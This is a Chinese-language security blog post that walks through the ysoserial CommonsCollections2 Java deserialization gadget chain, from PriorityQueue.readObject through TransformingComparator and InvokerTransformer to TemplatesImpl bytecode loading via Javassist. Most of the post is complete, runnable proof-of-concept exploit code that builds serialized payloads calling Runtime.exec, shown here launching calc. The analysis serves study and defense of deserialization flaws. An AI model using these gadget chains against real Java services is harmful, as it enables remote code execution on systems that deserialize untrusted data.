zoukankan      html  css  js  c++  java
  • CommonsCollections2 反序列化利用链分析

    在 ysoserial中 commons-collections2 是用的 PriorityQueue reaObject 作为反序列化的入口

    那么就来看一下 java.util.PriorityQueue.javareadObject方法

    PriorityQueue#readObject

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();
    
        // Read in (and discard) array length
        s.readInt();
    
        queue = new Object[size];
    
        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();
    
        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }
    

    heapify() 这里进行排序

    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            //调用了 siftDown 方法
            siftDown(i, (E) queue[i]);
    }
    
    private void siftDown(int k, E x) {
            if (comparator != null)
                siftDownUsingComparator(k, x);
            else
                siftDownComparable(k, x);
        }
    
    private void siftDownComparable(int k, E x) {
        Comparable<? super E> key = (Comparable<? super E>)x;
        int half = size >>> 1;        // loop while a non-leaf
        while (k < half) {
            int child = (k << 1) + 1; // assume left child is least
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
                c = queue[child = right];
            if (key.compareTo((E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = key;
    }
    
    //comparator 不为空 进入到 siftDownUsingComparator 
    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }
    

    这里我们重点看下 siftDownUsingComparator 中的comparator.compare((E) c, (E) queue[right])

    这里调用了 compare,ctrl+右键 点进去

    发现commons-collections4-4.0-sources.jar!/org/apache/commons/collections4/comparators/TransformingComparator.java 实现了此方法。

    public int compare(final I obj1, final I obj2) {
            final O value1 = this.transformer.transform(obj1);
            final O value2 = this.transformer.transform(obj2);
            return this.decorated.compare(value1, value2);
        }
    

    来到了 熟悉的 transformer.transform,那么如果这里 this.transformer 为 InvokerTransformer 对象即可来到

    InvokerTransformer#transform 方法进行反射调用,与cc1类似。

    public O transform(final Object input) {
        if (input == null) {
            return null;
        }
        try {
            final Class<?> cls = input.getClass();
            final Method method = cls.getMethod(iMethodName, iParamTypes);
            return (O) method.invoke(input, iArgs);
        } catch (final NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
                                       input.getClass() + "' does not exist");
        } catch (final IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
                                       input.getClass() + "' cannot be accessed");
        } catch (final InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
                                       input.getClass() + "' threw an exception", ex);
        }
    }
    

    思路

    通过上面我们可以得出调用顺序

    PriorityQueue.readObject()

    PriorityQueue.heapify()

    PriorityQueue.siftDown()

    PriorityQueue.siftDownUsingComparator()

    TransformingComparator.compare()

    InvokerTransformer.transformat()

    想要一步步按照上面顺序执行,需要满足几个条件

    • (size >>> 1) - 1 >=0 // 即 size>= 2

    • comparator != null // 这里 comparator 可控,可由PriorityQueue 的构造方法传入

    生成序列化对象

    通过上面的初步分析可以得出下面代码

    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer(
                    "getMethod",
                    new Class[] {String.class, Class[].class },
                    new Object[] {"getRuntime", new Class[0] }
            ),
            new InvokerTransformer(
                    "invoke",
                    new Class[] {Object.class,Object[].class },
                    new Object[] {null, null }
            ),
            new InvokerTransformer(
                    "exec",
                    new Class[] {String.class },
                    new Object[] { "calc.exe" }
            )
    };
    ChainedTransformer template = new ChainedTransformer(transformers);
    TransformingComparator transformingComparator = new TransformingComparator(template);
    
    PriorityQueue queue = new PriorityQueue(2, transformingComparator);
    queue.add(1);
    queue.add(2);
    
    
    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(barr);
    oos.writeObject(queue);
    oos.close();
    System.out.println(barr.toString());
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
    ois.readObject();
    

    运行此代码发现虽然成功弹出计算器但是没有生成序列化对象

    定位到代码为 queue.add(2);处。

    这里调用了

    public boolean add(E e) {
        return offer(e);
    }
    
    /**
     * Inserts the specified element into this priority queue.
     *
     * @return {@code true} (as specified by {@link Queue#offer})
     * @throws ClassCastException if the specified element cannot be
     *         compared with elements currently in this priority queue
     *         according to the priority queue's ordering
     * @throws NullPointerException if the specified element is null
     */
    public boolean offer(E e) {
        if (e == null)
            throw new NullPointerException();
        modCount++;
        int i = size;
        if (i >= queue.length)
            grow(i + 1);
        size = i + 1;
        if (i == 0)
            queue[0] = e;
        else
            siftUp(i, e);
        return true;
    }
    
    private void siftUp(int k, E x) {
        if (comparator != null)
            siftUpUsingComparator(k, x);
        else
            siftUpComparable(k, x);
    }
    
    private void siftUpComparable(int k, E x) {
        Comparable<? super E> key = (Comparable<? super E>) x;
        while (k > 0) {
            int parent = (k - 1) >>> 1;
            Object e = queue[parent];
            if (key.compareTo((E) e) >= 0)
                break;
            queue[k] = e;
            k = parent;
        }
        queue[k] = key;
    }
    
    private void siftUpUsingComparator(int k, E x) {
        while (k > 0) {
            int parent = (k - 1) >>> 1;
            Object e = queue[parent];
            if (comparator.compare(x, (E) e) >= 0)
                break;
            queue[k] = e;
            k = parent;
        }
        queue[k] = x;
    }
    

    当add 第二个元素时,会 进入siftUp(i, e); siftUpUsingComparator(k, x); 然后执行 comparator.compare(x, (E) e) 进入我们的反射链

    然后当进入到 TransformingComparator#comparethis.decorated.compare(value1, value2)

    由于 ProcessImpl 没有实现Comparable而报错,程序终止,就没有执行后面生成序列化数据的代码。

    继续回过头来看

    private void siftUp(int k, E x) {
        if (comparator != null)
            siftUpUsingComparator(k, x);
        else
            siftUpComparable(k, x);
    }
    

    既然

    siftUpUsingComparator 程序会报错。那么是否可以让他进入到 siftUpComparable,那么就需要让 comparator 为null

    PriorityQueue queue = new PriorityQueue(2);
    

    程序运行没有出错了,但是没有弹出计算器。

    如何让add 不出错,同时又弹出计算器呢? 这里想到了反射,在add 2个元素结束之后,将 queue对象中的 comparator设置成 transformingComparator ,这里就需要用到反射了。

    PriorityQueue queue = new PriorityQueue(2);
    queue.add(1);
    queue.add(2);
    
    Field comparator = queue.getClass().getDeclaredField("comparator");
    comparator.setAccessible(true);
    comparator.set(queue,transformingComparator);
    

    最后得出 POC

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[] {Object.class,Object[].class },
                        new Object[] {null, null }
                ),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class },
                        new Object[] { "calc.exe" }
                )
        };
        ChainedTransformer template = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(template);
    
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(2);
    
        Field comparator = queue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(queue,transformingComparator);
    
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    
    }
    

    也可换种写法,例如

    import org.apache.commons.collections4.Transformer;
    import org.apache.commons.collections4.comparators.TransformingComparator;
    import org.apache.commons.collections4.functors.ChainedTransformer;
    import org.apache.commons.collections4.functors.ConstantTransformer;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.PriorityQueue;
    
    public class CC2_Test {
        public static void main(String[] args) throws Exception {
            Transformer[] transformers = new Transformer[]  {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer(
                            "getMethod",
                            new Class[] {String.class, Class[].class },
                            new Object[] {"getRuntime", new Class[0] }
                    ),
                    new InvokerTransformer(
                            "invoke",
                            new Class[] {Object.class,Object[].class },
                            new Object[] {null, null }
                    ),
                    new InvokerTransformer(
                            "exec",
                            new Class[] {String.class },
                            new Object[] { "calc.exe" }
                    )
            };
    
            ChainedTransformer template = new ChainedTransformer(transformers);
    
            InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
            TransformingComparator comparator =  new TransformingComparator(transformer);
            PriorityQueue queue = new PriorityQueue(2, comparator);
            queue.add(1);
            queue.add(2);
    
            Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
            Field iParamTypes = transformer.getClass().getDeclaredField("iParamTypes");
            Field iArgs = transformer.getClass().getDeclaredField("iArgs");
            iMethodName.setAccessible(true);
            iParamTypes.setAccessible(true);
            iArgs.setAccessible(true);
            iMethodName.set(transformer,"transform");
            iParamTypes.set(transformer,new Class[]{Object.class});
            iArgs.set(transformer,new Object[]{null});
    
            Field queue1 = queue.getClass().getDeclaredField("queue");
            queue1.setAccessible(true);
            queue1.set(queue,new Object[]{template,2});
    
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(queue);
            oos.close();
            System.out.println(barr.toString());
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            ois.readObject();
    
        }
    }
    

    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

    在 ysoserial框架中,commons-collections2 引入了 TemplatesImpl 类来进行承载攻击payload

    TemplatesImpl 存在一个 成员变量 _bytecodes,当调用 TemplatesImpl#newTransformer 方法时,将会把

    _bytecodes 实例化, 所以我们可以将恶意代码写到类的无参构造函数或static代码块中转换为字节码赋值给_bytecodes ,然后找到一个位置调用newTransformer就能完成整个攻击。

    这里需要用到 Javassist ,javassist是Java的一个库,可以修改字节码。

    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.19.0-GA</version>
    </dependency>
    

    通过javassist 构建如下代码

    package deserialized;
    
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.collections4.comparators.TransformingComparator;
    import org.apache.commons.collections4.functors.ChainedTransformer;
    import org.apache.commons.collections4.functors.ConstantTransformer;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    
    import javax.xml.transform.Transformer;
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.PriorityQueue;
    
    
    public class CC2_Templates {
        public static void main(String[] args) throws Exception{
            template().newTransformer();
        }
        public static TemplatesImpl template() throws Exception{
            ClassPool pool = ClassPool.getDefault();
            CtClass cc = pool.makeClass("Test");
            String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
            cc.makeClassInitializer().insertBefore(cmd);
            cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            byte[] classBytes = cc.toBytecode();
            byte[][] targetByteCodes = new byte[][]{classBytes};
            TemplatesImpl templates = TemplatesImpl.class.newInstance();
    
            Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
            Field name = templates.getClass().getDeclaredField("_name");
            Field tfactory = templates.getClass().getDeclaredField("_tfactory");
    
            bytecodes.setAccessible(true);
            name.setAccessible(true);
            tfactory.setAccessible(true);
    
            bytecodes.set(templates,targetByteCodes);
            name.set(templates,"aaa");
            tfactory.set(templates,new TransformerFactoryImpl());
    
            return templates;
        }
    
    }
    

    根据上面一节的分析,我们只需要将 ChainedTransformer template = new ChainedTransformer(transformers); 改为用javassist生成的对象,然后把iMethodName设置为newTransformer 就可完成整个攻击链。

    package deserialized;
    
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.collections4.comparators.TransformingComparator;
    import org.apache.commons.collections4.functors.ChainedTransformer;
    import org.apache.commons.collections4.functors.ConstantTransformer;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    
    import javax.xml.transform.Transformer;
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.PriorityQueue;
    
    
    public class CC2_Templates {
        public static void main(String[] args) throws Exception{
    
            TemplatesImpl template = template();
    
            InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
            TransformingComparator comparator =  new TransformingComparator(transformer);
            PriorityQueue queue = new PriorityQueue(2, comparator);
            queue.add(1);
            queue.add(2);
    
            Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
            iMethodName.setAccessible(true);
            iMethodName.set(transformer,"newTransformer");
    
            Field queue1 = queue.getClass().getDeclaredField("queue");
            queue1.setAccessible(true);
            queue1.set(queue,new Object[]{template,2});
    
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(queue);
            oos.close();
            System.out.println(barr.toString());
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            ois.readObject();
            
        }
        public static TemplatesImpl template() throws Exception{
            ClassPool pool = ClassPool.getDefault();
            CtClass cc = pool.makeClass("Test");
            String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
            cc.makeClassInitializer().insertBefore(cmd);
            cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            byte[] classBytes = cc.toBytecode();
            byte[][] targetByteCodes = new byte[][]{classBytes};
            TemplatesImpl templates = TemplatesImpl.class.newInstance();
    
            Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
            Field name = templates.getClass().getDeclaredField("_name");
            Field tfactory = templates.getClass().getDeclaredField("_tfactory");
    
            bytecodes.setAccessible(true);
            name.setAccessible(true);
            tfactory.setAccessible(true);
    
            bytecodes.set(templates,targetByteCodes);
            name.set(templates,"aaa");
            tfactory.set(templates,new TransformerFactoryImpl());
    
            return templates;
        }
    
    }
    

    关于 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 里面是如何执行到我们自定义的 _bytecodes

    的具体流程可以参考:https://y4er.com/post/ysoserial-commonscollections-2/

    参考

    https://y4er.com/post/ysoserial-commonscollections-2/

    https://y4er.com/post/javassist-learn/

  • 相关阅读:
    [ AHOI 2013 ] 作业 & [ BZOJ 3809 ] Gty的二逼妹子序列
    [ CQOI 2018 ] 异或序列
    [ Luogu 3709 ] 大爷的字符串题
    偷学笔记
    ZJOI2019 补题记录
    Bluestein's Algorithm
    「九省联考 2018」制胡窜
    Codeforces 1349D Bear and Biscuits
    AGC021E Ball Eat Chameleons
    AGC036F Square Constraints
  • 原文地址:https://www.cnblogs.com/depycode/p/13583102.html
Copyright © 2011-2022 走看看